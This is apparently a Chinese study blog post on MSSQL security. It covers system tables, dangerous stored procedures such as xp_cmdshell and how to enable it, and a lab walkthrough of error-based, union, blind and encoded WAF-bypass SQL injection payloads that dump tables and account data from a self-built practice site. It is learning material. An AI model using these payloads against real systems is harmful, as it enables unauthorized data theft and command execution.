来学习一下MSSQL相关的安全知识,不能只学MySQL

这里找到一位大佬的文章,跟着这个来逐步学习:https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

MSSQL介绍

简介

MSSQL也叫Microsoft SQL Server。

SQL Server是由Microsoft开发和推广的**关系数据库管理系统(DBMS)**;

SQL Server使用方便,伸缩性好与相关软件集成程度高;

SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能。

SQL Server各服务作用

  • SQL Server(MSSQLSERVER)是必须要开启的,这个是数据库引擎服务,它就像汽车的发动机一样,缺它不可。
  • SQL Server代理(MSSQLSERVER)是代理服务,比如你有一些自动运行的,定时作业,或者是一些维护计划,比如定时备份数据库等操作,那么就要打开,否则,就不会备份数据库了。
  • SQL Server Analysis Services (MSSQLSERVER)是分析服务,一般不用开启,除非你做多位分析,和数据挖掘,才需要开启。
  • SQL Full-text Filter Daemon Launcher (MSSQLSERVER)是全文检索服务,如果你没有使用全文检索技术,那么也不需要开启。
  • SQL Server VSS Writer MicrosoftSQLServer的SQL编写器服务,允许备份和还原应用程序以便在VolumeShadowCopyService(VSS)框架中进行操作。
  • Sql Browser 服务 一般你要进行远程访问,不需要开启sql browser,通过:服务器ip,端口 这种方式就可以访问远程的服务器。

下面安装MSSQL2008的版本用来学习。

MSSQL基础知识

一些默认库

  • master //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
  • model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
  • msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息
  • tempdb //它为临时表和其他临时工作提供了一个存储区。

sqlserver使用的两个端口,TCP-1433,UDP-1434

mssql注入常要打交道的库也就是 master,其中储存了所有数据库名与存储过程。类比于 MySQL 中的 information_schema 元数据库

权限:2008之前,为system、2008及其以后权限不再为system

image-20240404103930739

下面命令可以查询所有数据库名:

select name from master.dbo.sysdatabases;
select name from master.sys.databases;
//sqlserver2005之后sysdatabases变成sys.databases存放在视图中

image-20240404104149872

image-20240404104216061

下列命令用来查询对象名及其类型:

select top 100 name,xtype from sysobjects;//从当前数据库的 sysobjects 系统表中选择前 100 行的 name 和 xtype 列数据
//但是在sys.objects中xtype为type
select top 100 name,type from sys.objects;

image-20240404105226387

image-20240404105705167

下面是一些在 SQL Server 中用于描述对象类型的缩写或标识符。它们通常在系统表中使用,以区分不同种类的数据库对象。

C = CHECK 约束:表示一个表的检查约束,用于确保满足特定条件的数据才能插入到表中。
D = 默认值或 DEFAULT 约束:表示对列的默认值约束,用于在插入新行时为列提供默认值。
F = FOREIGN KEY 约束:表示外键约束,用于维护表与表之间的引用完整性。
L = 日志:表示数据库的事务日志,用于记录数据库的更新操作,以确保事务的持久性和一致性。
FN = 标量函数:表示标量函数,它返回单个值。
IF = 内嵌表函数:表示内联表值函数,它能返回一个包含多行的结果集。
P = 存储过程:表示数据库中的存储过程,包含了可复用的、预编译的 SQL 代码块。
PK = PRIMARY KEY 约束(类型是 K):表示主键约束,用于唯一标识表中的每一行记录。
RF = 复制筛选存储过程:这是与 SQL Server 复制功能相关的对象,用于筛选要复制的数据。
S = 系统表:表示数据库系统表,用于存储数据库元数据信息的特殊表。
TF = 表函数:表示表值函数,它可以返回一个表示为表格的结果集。
TR = 触发器:表示数据库中的触发器,用于定义在表上执行的自动化操作。
U = 用户表:表示用户创建的表,用于存储实际数据。
UQ = UNIQUE 约束(类型是 K):表示唯一约束,用于确保列或列组合中的值是唯一的。
V = 视图:表示数据库中的视图,提供了对一个或多个基本表的结构化访问。
X = 扩展存储过程:表示扩展存储过程,这是一种特殊的存储过程类型。

存储过程

储存过程是一个可编程的函数,它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。

可以理解为一个函数调用的过程

常用的危险存储过程及其作用

xp_cmdshell:执行操作系统命令的存储过程,可用于在 SQL Server 上运行命令行命令。

xp_dirtree:在指定目录下列出所有目录及子目录的文件夹结构。

xp_enumgroups:用于列举系统中的所有用户组。

xp_fixeddrives:返回计算机上所有磁盘驱动器的信息。

xp_loginconfig:显示有关 SQL Server 登录的配置信息。

xp_enumerrorlogs:列出系统错误日志的内容。

xp_getfiledetails:返回文件的详细信息,如路径、大小、创建日期等。

Sp_OACreate:用于创建一个新的OLE Automation 对象。

Sp_OADestroy:释放先前创建的OLE Automation 对象。

Sp_OAGetErrorInfo:获取关于上一次调用的错误信息。

Sp_OAGetProperty:获取一个OLE Automation 对象的属性值。

Sp_OAMethod:调用一个OLE Automation 对象的方法。

Sp_OASetProperty:设置一个OLE Automation 对象的属性值。

Sp_OAStop:停止OLE Automation 对象的执行。

Xp_regaddmultistring:向注册表中指定项添加名称和数据。

Xp_regdeletekey:删除指定的注册表项及其所有子项。

Xp_regdeletevalue:删除指定的注册表项中的指定值。

Xp_regenumvalues:返回指定注册表项的值名称列表。

Xp_regread:返回指定注册表项的指定值的数据。

Xp_regremovemultistring:从注册表中指定的项中移除一个或多个多字符串值。

Xp_regwrite:将数据写入指定的注册表项。

sp_makewebtask:生成用于在 SQL Server 上导出数据的命令。

sp_configure: 用于查看和更改服务器配置选项

一些字符

注释符

/**/
--
;%00 //emm这个我试不出来,不知道是不是在网页得时候才有用,因为%00出来是NULL

空白符

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

image-20240404111658741

特殊一点的运算符

ALL 如果一组的比较都为true,则比较结果为true

AND 如果两个布尔表达式都为true,则结果为true;如果其中一个表达式为false,则结果为false

ANY 如果一组的比较中任何一个为true,则结果为true

BETWEEN 如果操作数在某个范围之内,那么结果为true

EXISTS 如果子查询中包含了一些行,那么结果为true

IN 如果操作数等于表达式列表中的一个,那么结果为true

LIKE 如果操作数与某种模式相匹配,那么结果为true

NOT 对任何其他布尔运算符的结果值取反

OR 如果两个布尔表达式中的任何一个为true,那么结果为true

SOME 如果在一组比较中,有些比较为true,那么结果为true

语法定义符号

< > 尖括号,用于分隔字符串,字符串为语法元素的名称,SQL语言的非终结符。


::= 定义操作符。用在生成规则中,分隔规则定义的元素和规则定义。 被定义的元素位于操作符的左边,规则定义位于操作符的右边。


[ ] 方括号表示规则中的可选元素。方括号中的规则部分可以明确指定也可以省略。


{ } 花括号聚集规则中的元素。在花括号中的规则部分必须明确指定。


() 括号是分组运算符

常用函数

  1. 聚合函数:
    • SUM():计算某列的总和。
    • COUNT():计算某列的行数。
    • AVG():计算某列的平均值。
    • MIN():找到某列的最小值。
    • MAX():找到某列的最大值。
  2. 字符串函数:
    • LEN():返回字符串的长度。
    • UPPER():将字符串转换为大写。
    • LOWER():将字符串转换为小写。
    • SUBSTRING():提取部分字符串。
    • CONCAT():将多个字符串连接在一起。
    • ASCII(): 将字符转换成对应的ASCII码
    • char(): 将ASCII转换成对应的字符
  3. 日期和时间函数:
    • GETDATE():返回当前日期和时间。
    • DATEPART():返回日期或时间部分的值(如年、月、日、小时、分钟等)。
    • DATEDIFF():计算两个日期之间的差值。
    • DATEADD():在日期上添加或减去指定的时间间隔。
  4. 数学函数:
    • ABS():返回数值的绝对值。
    • ROUND():将数值四舍五入到指定的小数位数。
    • FLOOR():返回不大于指定数值的最大整数。
    • CEILING():返回不小于指定数值的最小整数。
    • POWER():计算一个数的指定次幂。
  5. 逻辑函数:
    • IF()IIF():根据条件返回不同的值。
    • CASE 表达式:根据条件选择不同的结果。

mssql还有一个特有的函数用来延迟一段时间,mysql则是用sleep

-- 延迟 5 秒
WAITFOR DELAY '00:00:05'

-- 延迟 2.5 秒
WAITFOR DELAY '00:00:02.500'

信息搜集

基本信息

@@version  //数据库版本
@@servername //主机名
user //当前数据库用户名
db_name() //当前数据库名
;select user //查询是否支持多语句
SUSER_SNAME() //当前会话登录的用户名
ORIGINAL_LOGIN() //返回最初执行当前批处理或触发器的登录名
current_user() //当前数据库用户

image-20240404112105796

判断是否站库分离

select * from info where id='1'and host_name()=@@servername;--'
//host_name()表示客户端主机名
//@@servername表示服务端主机名
//如果为true则表示没有分离,通过比较这两个值,可以确定查询正在运行的数据库服务器是否同时包含应用程序服务器和数据库服务器。

或者可以通过xp_cmshell来判断,这里先开启xp_cmdshell

sp_configure 'show advanced options', 1;
reconfigure;
GO
sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell "whoami";
//或者 exec xp_cmdshell "whoami";

image-20240404122902796

xp_cmdshell是默认关闭的为0,需要先开启它才行

使用sp_cocnfigure 可以修改服务器配置

image-20240404123145991

我们通过使用xp_cmdshell就可以判断出当前用户的权限,比如MSSQL2005的权限一般是system 而2008是nt authority\network service,在上图中也有显示。

判断当前是否为mssql

select * from sysobjects;
//因为sysobjects为MSSQL中独有的数据表,返回正常即可表示为MSSQL
//sysobjects相当于master.sys.objects

权限判断

IS_SRVROLEMEMBER('role' [, 'login']) 函数是 SQL Server 中的一个内置函数,用于检查指定登录名(login)是否属于指定的服务器角色(role),不指定用户名就默认当前登录用户名。用来判断服务器角色

image-20240404142324755

下面是一些固定角色:

服务器级的固定角色 描述
sysadmin sysadmin 固定服务器角色的成员可以在服务器上执行任何活动。
serveradmin serveradmin 固定服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。
securityadmin securityadmin 固定服务器角色的成员可以管理登录名及其属性。 他们可以 GRANTDENYREVOKE 服务器级权限。 他们还可以 GRANTDENYREVOKE 数据库级权限(如果他们具有数据库的访问权限)。 此外,他们还可以重置 SQL Server 登录名的密码。 重要说明: 如果能够授予对 数据库引擎 的访问权限和配置用户权限,安全管理员可以分配大多数服务器权限。 securityadmin 角色应视为与 sysadmin 角色等效。
processadmin processadmin 固定服务器角色的成员可以终止在 SQL Server 实例中运行的进程。
setupadmin setupadmin 固定服务器角色的成员可以使用 Transact-SQL 语句添加和删除链接服务器。 (使用 Management Studio 时需要 sysadmin 成员资格。)
bulkadmin bulkadmin 固定服务器角色的成员可以运行 BULK INSERT 语句。
diskadmin diskadmin 固定服务器角色用于管理磁盘文件。
dbcreator dbeator 固务器角色的成员可以创建、更改、删除和还原任何数据库。
puic 每个 SQL Server 登录名都属于 public 服务器角色。 如果未向某个服务器主体授予或拒绝对某个安全对象的特定权限,该用户将继承授予该对象的 public 角色的权限。 只有在希望所有用户都能使用对象时,才在对象上分配 Public 权限。 你无法更改具有 Public 角色的成员身份。 注意plic 与其他角色的实现方式不同,可通过 public 固定服务器角色授予、拒绝或调用权限。

数据库级别角色使用IS_MEMBER('role')来判断

固定数据库角色名 描述
db_owner db_owner 固定数据库角色的成员可以执行数据库的所有配置和维护活动,还可以删除 SQL Server中的数据库。 (在 SQL 数据库 和 SQL 数据仓库中,某些维护活动需要服务器级别权限,并且不能由 db_owners执行。)
db_securityadmin db_securityadmin 固定数据库角色的成员可以仅修改自定义角色的角色成员资格、创建无登录名的用户和管理权限。 向此角色中添加主体可能会导致意外的权限升级。
db_accessadmin db_accessadmin 固定数据库角色的成员可以为 Windows 登录名、Windows 组和 SQL Server 登录名添加或删除数据库访问权限。
db_backupoperator db_backupoperator 固定数据库角色的成员可以备份数据库。
db_ddladmin db_ddladmin 固定数据库角色的成员可以在数据库中运行任何数据定义语言 (DDL) 命令。
db_datawriter db_datawriter 固定数据库角色的成员可以在所有用户表中添加、删除或更改数据。
db_datareader db_datareader 固定数据库角色的成员可以从所有用户表中读取所有数据。
db_denydatawriter db_denydatawriter 固定数据库角色的成员不能添加、修改或删除数据库内用户表中的任何数据。
db_denydatareader db_denydatareader 固定数据库角色的成员不能读取数据库内用户表中的任何数据。

返回类型:

返回值 描述
0 login 不是 role 的成员。
1 login 是 role 的成员。
NULL role 或 login 无效,或者没有查看角色成员身份的权限。

MSSQL注入流程

由于网上没有现成靶场需要自己搭一个测试,参考文章:https://macchiato.ink/web/web_security/mssql_injection_setup/#0x03-web%E6%9C%8D%E5%8A%A1%E5%AE%89%E8%A3%85

开iis的时候记得要勾选.net扩展不然解析不了

最后搭好大概就是这样

image-20240404151819506

注入流程

  1. 获取数据库名
  2. 获取数据库的表名
  3. 获取数据库的字段名
  4. 获取对应的数据

主要系统表

  1. sysdatabases :这张表保存在master数据库中,里边的name字段下存放的是所有数据库的库名。
  2. sysobjects:这张表保存的是数据库的表的信息,里边的id字段存放的是表的id,name为表名,xtype 字段存放的是表的类型,u代表为用户创建的表,s表示该表是系统表。
  3. syscolumns:这张表存放的是数据库中字段的信息,id 为表的id,该id可以通过sysobjects获得。name为字段名称。

报错注入

获取数据库名

利用db_name()来获取

?user_id=1 union select 1,db_name(),NULL,NULL,NULL

image-20240404154924142

还可以使其报错来获取库名

?user_id=1 and db_name()>0

image-20240404155032112

爆表名

?user_id=1 and 1=(select top 1 name from sysobjects where xtype='u')

image-20240404160254630

爆列名

?user_id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_messages') and name<>'id');--

image-20240404164654710

爆数据

?user_id=1 union select top 1 message_id,NULL,NULL,NULL,NULL from fsb_messages

image-20240405004846596

?user_id=1 union select%20 message_id,NULL,NULL,NULL,NULL from fsb_messages

image-20240405004940238

报错注入只能查询一个一个值,但是mssql没有limit这种东西,就只能用top加上判断来遍历数据。

但是这里的message_id和数字类型一样就要换其他类型来进行报错回显,但是试了一下发现不行,应该要是查询的那部分出错才会显示出来

image-20240405005556182

但是当联合查询可用又知道列数时可以直接像上面一样全部查出,可以利用order by来判断列数。

image-20240405005134075

order by 5不报错证明就有5列数据。

显式转换报错

上面的都是隐式转换类型来报错获得信息,mssql中还有两个函数用于显式转换

CAST( expression AS data_type )

CONVERT(data_type[(length)], expression [, style])

下面拿一个varchar数据来进行示例

?user_id=1 and 1=(select top 1 convert(int,text) from fsb_messages)
?user_id=1 and 1=(select top 1 cast(text as int) from fsb_messages)

image-20240405105044697

image-20240405105134618

联合注入

联合注入前先使用order by判断列数,上面有提到过。

查询的时候如果发现数据类型不兼容可以用NULL替换。

获取数据库名

?user_id=1 union all select NULL,name COLLATE Chinese_PRC_CI_AS,NULL,NULL,NULL from master..sysdatabases
//表明还可以这样子写法学到了

image-20240405013223845

这里除了数据类型要一样每个列的排序规则也要一样不然会报错,上面的COLLATE就是用来转换排序规则的,不转换就会报下面的错误

image-20240405013414465

获取数据库表名

?user_id=1 union select NULL,name COLLATE Chinese_PRC_CI_AS,NULL,NULL,NULL from FoundStone_Bank..sysobjects where xtype='u'

image-20240405013831956

获取指定表的字段名

?user_id=1 union select NULL,name COLLATE Chinese_PRC_CI_AS,NULL,NULL,NULL from FoundStone_Bank..syscolumns where id=(select id from FoundStone_Bank..sysobjects where name='fsb_accounts')

image-20240405014311541

获取字段具体的值

?user_id=1 union select account_no,NULL,NULL,NULL,NULL from fsb_accounts

image-20240405014506811

盲注

判断数据库个数

?user_id=1 and (select count(*) from master..sysdatabases) > 7
?user_id=1 and (select count(*) from master..sysdatabases) > 6

image-20240405103329682

image-20240405103353807

获取数据库信息

?user_id=1 and substring(db_name(),1,1)=char(106)

类似mysql盲注一样,遍历字符的布尔盲注

image-20240405103706224

其余的查询就不写了,在上面的联合注入中一个字符一个字符遍历即可

简单的绕过注入

这里介绍一个declare函数,他是mssql声明局部变量的函数,可以用它来绕过waf对一些关键词的拦截。

一般语法

DECLARE @variable_name [AS] data_type [ = initial_value];

可以给变量赋初始值,也可以不赋值。

声明多个变量

DECLARE @age INT, @salary DECIMAL(10, 2), @isEmployed BIT; #BIT表示布尔类型

用法示例

declare @test varchar(50);
select @test=(select top 1 subject from fsb_messages);
select @test;
select * from fsb_messages;

image-20240405110119279

declare @test varchar(50);
select @test=count(*) from fsb_messages;
select @test;
select * from fsb_messages;

image-20240405110616058

绕过示例

?user_id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a)
#declare定义变量 set设置变量值 exec执行变量

嘶怪了,在浏览网页的时候不报错,单独测试了一下每个命令都是执行了的啊,而且在SSMS中又是有效的,不知道为啥。

image-20240405112351188

变量的值是支持hex和ascii码的,当过滤引号时可以把我们的语句编码一下

declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)
declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)